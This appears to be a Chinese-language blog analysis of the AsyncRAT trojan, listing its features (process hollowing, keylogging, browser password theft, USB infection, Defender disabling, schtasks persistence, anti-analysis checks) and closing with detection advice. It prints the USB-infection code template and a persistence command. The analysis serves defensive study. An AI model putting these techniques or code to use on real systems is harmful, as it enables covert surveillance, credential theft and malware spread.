AsyncRAT利用分析
0x01 簡介
· AsyncRAT的優點
· AsyncRAT的技術細節
· 檢測方法
0x02 AsyncRAT的優點
AsyncRAT使用C Sharp開發,應用于Windows系統,具有以下優點:
1. 支持從Pastebin.com讀取C2服務器的配置信息;
2. 支持內存加載PE文件;
3. 支持動態編譯并執行C#或者VB代碼;
4. 支持U盤感染,能夠感染U盤中所有使用.NET開發的exe文件;
5. 支持自動讀取Firefox和Chrome瀏覽器中保存的密碼;
6. 通過欺騙用戶點擊的方式繞過UAC進行提權;
7. 通過C#接口技術,提高程序的擴展性,在程序實現上將每一個功能對應一個類,編譯成dll文件,在需要加載的時候,由Server發送至Client,Client通過Activator.CreateInstance將類實例化,進而調用類的方法。
0x03 AsyncRAT的技術細節
本節按照AsyncRAT控制面板上的功能逐個進行分析,如下圖:
1.SendFile
(1)ToMemory
內存加載exe文件,支持以下兩種類型:
· Reflection
· 使用Assembly.Load加載C#程序
更多細節可參考之前的文章《從內存加載.NET程序集(Assembly.Load)的利用分析》。
· RunPE
· 通過替換進程內存的方式加載exe文件
可選擇以下程序作為被注入的程序:
· aspnet_compiler.exe
· RegAsm.exe
· MSBuild.exe
· RegSvcs.exe
· vbc.exe
注:
· 以上5個exe文件位于Microsoft.NET Framework的安裝目錄,同AsyncClient.exe的位數保持一致
· 使用32位的AsyncClient.exe反彈回的Session,默認會尋找32位Microsoft.NET Framework的安裝目錄,例如:C:\Windows\Microsoft.NET\Framework\v4.0.30319
· 使用64位的AsyncClient.exe反彈回的Session,默認會尋找64位Microsoft.NET Framework的安裝目錄,例如:C:\Windows\Microsoft.NET\Framework64\v4.0.30319
· RunPE操作將啟動以上5個exe文件中的一個,通過ReadProcessMemory、VirtualAllocEx、WriteProcessMemory和ResumeThread實現對進程內存的修改,替換成要加載的exe文件
· 這里需要注意要加載的exe文件需要同AsyncClient.exe的位數保持一致
· 使用32位的AsyncClient.exe反彈回的Session,使用RunPE操作只能加載32位的exe文件
· 使用64位的AsyncClient.exe反彈回的Session,使用RunPE操作只能加載64位的exe文件
更多細節可參考之前的文章《傀儡進程的實現與檢測》
(2)ToDisk
將exe文件上傳到目標主機的%Temp%目錄,重命名為隨機字符串,再使用Powershell啟動exe文件,執行后不會刪除%Temp%目錄下的exe文件。
2. Monitoring
(1)Remote Desktop
· 監控屏幕,實時獲得目標桌面的內容(只能監控,無法操作)
· 調用Graphics類的CopyFromScreen實現屏幕截圖
通過Python實現監控屏幕的細節可參考之前的文章《Pupy利用分析——Windows平臺下的屏幕控制》。
(2)Keylogger
· 實時獲得目標主機鍵盤輸入的消息和進程名稱
· 通過hook的方式實現鍵盤記錄
(3)Password Recovery
· 獲得Firefox和Chrome瀏覽器中保存的密碼
技術細節可參考之前的文章《滲透技巧——導出Firefox瀏覽器中保存的密碼》和《滲透技巧——導出Chrome瀏覽器中保存的密碼》。
(4)File Manager
· 文件管理,還支持隱蔽安裝7zip和對文件的壓縮及解壓縮
隱蔽安裝7zip的方式:
· 在%Temp%目錄新建文件夾7-Zip,釋放文件7z.exe和7z.dll
(5)Process Manager
· 進程管理,支持查看進程和關閉進程
(6)Report Window
· 監控重要進程,當目標主機上運行指定進程時,控制端彈出提示消息
(7)Webcam
· 開啟攝像頭
3.Miscellaneous
(1)Bots Killer
清除自身進程在注冊表HKLM和HKCU下\Software\Microsoft\Windows\CurrentVersion\Run和Software\Microsoft\Windows\CurrentVersion\RunOnce保存的項。
(2)USB Spread
1. 當目標主機連接U盤時,感染U盤中的文件。
2. 將木馬客戶端復制到U盤中并隱藏,默認保存的名稱為LimeUSB.exe。
修改U盤中所有使用.NET開發的exe文件,通過CSharpCodeProvider改變程序運行流程,添加以下代碼:
- using System;
- using System.Diagnostics;
- using System.Reflection;
- using System.Runtime.InteropServices;
- [assembly: AssemblyTrademark("%Lime%")]
- [assembly: Guid("%Guid%")]
- static class %LimeUSBModule%
- {
- public static void Main()
- {
- try
- {
- System.Diagnostics.Process.Start(@"%File%");
- }
- catch { }
- try
- {
- System.Diagnostics.Process.Start(@"%Payload%");
- }
- catch { }
- }
- }
用戶在啟動正常文件的同時會隱蔽執行U盤中的木馬客戶端。
(3)Seed Torrent
· 向目標主機發送種子文件并下載
· 目標主機需要安裝uTorrent或者BitTorrent
(4)Remote Shell
· 彈出一個交互式的cmd窗口
(5)DOS Attack
· 向指定域名持續發送HTTP數據包
(6)Execute .NET Code
· 在目標主機上動態編譯C#或者VB代碼并執行
· 模板文件包含彈框和下載執行的功能
我提取出了其中編譯C#代碼并執行的功能,代碼示例如下:
- using System;
- using System.CodeDom;
- using System.CodeDom.Compiler;
- using System.Reflection;
- namespace CodeDomProviderTest
- {
- class Program
- {
- static void Main(string[] args)
- {
- string source = @"
- using System;
- using System.Windows.Forms;
- namespace AsyncRAT
- {
- public class Program
- {
- public static void Main(string[] args)
- {
- try
- {
- MessageBox.Show(""Hello World"");
- }
- catch { }
- }
- }
- }";
- CodeDomProvider codeDomProvider = CodeDomProvider.CreateProvider("CSharp");
- try
- {
- var compilerOptions = "/target:winexe /platform:anycpu /optimize-";
- var compilerParameters = new CompilerParameters();
- compilerParameters.ReferencedAssemblies.Add("system.dll");
- compilerParameters.ReferencedAssemblies.Add("system.windows.forms.dll");
- compilerParameters.GenerateExecutable = true;
- compilerParameters.GenerateInMemory = true;
- compilerParameters.CompilerOptions = compilerOptions;
- compilerParameters.TreatWarningsAsErrors = false;
- compilerParameters.IncludeDebugInformation = false;
- var compilerResults = codeDomProvider.CompileAssemblyFromSource(compilerParameters, source);
- if (compilerResults.Errors.Count > 0)
- {
- foreach (CompilerError compilerError in compilerResults.Errors)
- {
- Console.WriteLine(string.Format("{0}\nLine: {1} - Column: {2}\nFile: {3}", compilerError.ErrorText,
- compilerError.Line, compilerError.Column, compilerError.FileName));
- break;
- }
- }
- else
- {
- Assembly assembly = compilerResults.CompiledAssembly;
- MethodInfo methodInfo = assembly.EntryPoint;
- object injObj = assembly.CreateInstance(methodInfo.Name);
- object[] parameters = new object[1];
- if (methodInfo.GetParameters().Length == 0)
- {
- parameters = null;
- }
- methodInfo.Invoke(injObj, parameters);
- }
- }
- catch (Exception ex)
- {
- Console.WriteLine(ex.Message);
- }
- }
- }
- }
(7)Files Searcher
· 搜索指定后綴名的文件并打包成zip文件
4.Extra
(1)Visit Website
· 啟動默認瀏覽器并訪問指定URL,界面不隱藏
(2)Send MessageBox
· 在目標主機上彈出對話框
(3)Chat
· 在目標主機上彈出對話框,實時顯示輸入的內容
(4)Get Admin Privileges
1. 使用cmd.exe以Admin權限重新啟動木馬客戶端,這個操作會在用戶桌面彈出UAC框,需要用戶選擇允許后才能運行;
2. 如果用戶未選擇允許,會一直彈出UAC對話框;
3. UAC對話框的程序位置會暴露木馬客戶端的路徑;
4. 如果想要偽造一個更加可信的UAC對話框(不暴露程序位置)可以參考之前文章《A dirty way of tricking users to bypass UAC》中的思路。
(5)Blank Screen
Run功能:
通過WinAPI CreateDesktop()創建一個隨機名稱的虛擬桌面,內容為空,當切換到這個空的虛擬桌面時,用戶無法對桌面進行操作。
Stop功能:
通過WinAPI SwitchDesktop()切換到原來的桌面。
(6)Disable Windows Defender
· 通過修改注冊表的方式關閉Windows Defender,通常在Win10系統上使用
(7)Set Wallpaper
· 設置用戶的桌面
5.Server
· Block Clients
· 拒絕指定IP回連的木馬客戶端
6.Builder
(1)Connection
DNS:指定C2 Server的IP,可以設置多個;
Port:指定C2 Server的端口,可以設置多個;
Pastebin:從Pastebin.com讀取C2 Server的信息,包括DNS和Port。
內容示例:
- 127.0.0.1:6606:7707:8808
(2)Install
1. 用作配置木馬客戶端自啟動的功能;
2. 開啟這個功能后會將木馬客戶端復制到指定位置;
3. 文件名稱可以重新命名;
4. 文件路徑可選擇%AppData%或%Temp%目錄;
5. 當木馬客戶端以普通用戶權限執行時,會在注冊表HKCU\Software\Microsoft\Windows\CurrentVersion\Run添加項,以新的木馬客戶端名稱作為注冊表項的名稱,以新的木馬客戶端路徑作為注冊表項的數據。
當木馬客戶端以管理員權限執行時,會使用schtasks命令創建計劃任務,命令示例:
- schtasks /create /f /sc onlogon /rl highest /tn /tr
計劃任務的名稱為新的木馬客戶端名稱,會在用戶登錄時執行計劃任務。
(3)Misc
Group:對木馬客戶端進行分類;
Mutex:設置互斥量,避免木馬客戶端的重復啟動;
Anti Analysis:
包括以下功能:
· DetectManufacturer,通過WMI獲得系統信息(Select * from Win32_ComputerSystem),查看Manufacturer是否包含字符VIRTUAL、vmware或VirtualBox
· DetectDebugger,使用WinApi CheckRemoteDebuggerPresent()檢查是否為調試器
· DetectSandboxie,使用WinApi GetModuleHandle()檢查SbieDll.dll是否存在
· IsSmallDisk,檢查硬盤大小是否小于60Gb
· IsXP,檢查系統名稱是否包含字符xp
Process Critica:
將進程設置為保護進程,如果意外關閉了保護進程,那么將導致BSOD。
更多細節可參考之前的文章《結束進程導致BSOD的利用分析》。
Delay:延遲執行的時間
(4)Assembly
· 可以手動設置文件屬性,也可以復制指定文件的文件屬性
(5)Icon
· 設置文件圖標
(6)Build
· Simple Obfuscator:通過重命名的方式實現簡單的混淆
關鍵代碼:
- private static ModuleDefMD RenamingObfuscation(ModuleDefMD inModule)
- {
- ModuleDefMD module = inModule;
- IRenaming rnm = new NamespacesRenaming();
- module = rnm.Rename(module);
- rnm = new ClassesRenaming();
- module = rnm.Rename(module);
- rnm = new MethodsRenaming();
- module = rnm.Rename(module);
- rnm = new PropertiesRenaming();
- module = rnm.Rename(module);
- rnm = new FieldsRenaming();
- module = rnm.Rename(module);
- return module;
- }
- }
0x04 檢測方法
1.查找可疑文件
路徑:%AppData%和%Temp%目錄。
2.使用Autoruns檢查可疑的啟動項
(1)注冊表位置
· HKLM\Software\Microsoft\Windows\CurrentVersion\Run
· HKCU\Software\Microsoft\Windows\CurrentVersion\Run
(2)計劃任務列表
3.后臺可疑進程
· AsyncRAT的木馬客戶端只有exe文件一種形式,在運行時會產生可疑的進程
4.通信流量
· 查看可疑進程對外通信流量
5.使用殺毒軟件
· 目前殺毒軟件均會對AsyncRAT進行攔截
0x05 小結
本文在技術研究的角度分析AsyncRAT的技術細節,介紹檢測方法。